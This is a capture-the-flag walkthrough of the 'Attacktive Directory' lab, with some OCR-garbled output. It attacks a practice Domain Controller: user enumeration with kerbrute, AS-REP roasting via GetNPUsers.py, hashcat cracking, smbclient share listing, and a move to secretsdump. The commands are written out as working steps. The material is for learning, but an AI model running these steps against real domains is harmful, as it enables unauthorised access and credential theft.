Attacktive Directory

Can you exploit a vulnerable Domain Controller?

Let’s start by scanning:
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Results show many services running, including kerberos.

tive Directory LDAP (Domain:

spookysec.local®., Site:

Let’s continue user enumeration with kerbrute. It is stealth way to enumerate since pre-
authentication failures do not trigger that "traditional" An account failed to log on event 4625.
With Kerberos, you can validate a username or test a login by only sending one UDP frame to the

KDC.

Note! If Kerberos logging is enabled this generates a Windows event ID 4768.
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Interesting results:
svc-admin

backup

ASREPRoasting occurs when a user account has the privilege “Does not require Pre-
Authentication” set. This means that the account does not need to provide valid identification
before requesting a Kerberos Ticket on the specified user account

AS-REP Roasting: An attack to retrieve the user hashes that can be brute-forced offline.
Kerberoasting: An attack to retrieve the Application Service hashes that can be brute-forced offline.

Golden Ticket: Access the Application Service through Impersonate user account that does not exist
in Domain.

By default, Do Not Require Pre-Authentication is disabled for the domain user



Only thing that’s necessary to query accounts is a valid set of usernames which we enumerated
previously via kerbrute.

python3 GetNPUsers.py spookysec.local/svc-admin -no-pass

$
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After getting TGT for svc-admin we can bruteforce it offline with hashcat

hashcat -m 18200 hash.txt passwordlist.txt
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h

With a user's account credentials we now have significantly more access within the domain. We
can now attempt to enumerate any shares that the domain controller may be giving out.



L% smbclient spookysec.locali\ svc-admin
Password for [WO Zsvc-admin]:

Sharename Type Comment

ADMINS Disk Remote Admin
backup Disk
c$ Disk Default share
IPCS IPC Remote IPC
METLOGON Disk Logon server
SYSVOL Disk Logon server
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to spookysec.local failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
SMB1 — no workgroup available

svc-admin
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And found new credentials!



Let’s use secretsdump!
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